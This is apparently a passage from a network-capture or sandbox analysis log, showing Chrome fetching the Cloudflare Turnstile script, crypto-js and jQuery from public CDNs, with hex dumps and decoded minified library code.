64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-09 03:28:34 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49727	104.17.24.14	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:34 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:35 UTC	959	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 51125 Expires: Tue, 30 Dec 2025 03:28:34 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mXQKKvu%2BWBOnu9Xi8QKIteljIu716qrM6YcV6ArqDLEL4jOh0sRX8BFQKxhb2pVmDtZ0Pb%2B9xOl7itAVLjHE2vXlLORTDV1e4VvC0E6LJZQxBNpxm%2FY6Ly2UJ%2BU2mocHCNJ3ICBb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ff1568a8d503320-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:35 UTC	410	IN	Data Raw: 37 62 65 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bea!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 Data Ascii: f globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cre
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 Data Ascii: call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 Data Ascii: peof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e Data Ascii: var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 Data Ascii: for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 Data Ascii: r,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:f
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 Data Ascii: harAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOP
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 Data Ascii: a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=thi
2025-01-09 03:28:35 UTC	1369	IN	Data Raw: 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 Data Ascii: ),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49728	151.101.2.137	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:34 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:35 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1877841 Date: Thu, 09 Jan 2025 03:28:34 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890033-NYC X-Cache: HIT, HIT X-Cache-Hits: 55, 0 X-Timer: S1736393315.981915,VS0,VE3 Vary: Accept-Encoding
2025-01-09 03:28:35 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-01-09 03:28:35 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-01-09 03:28:35 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
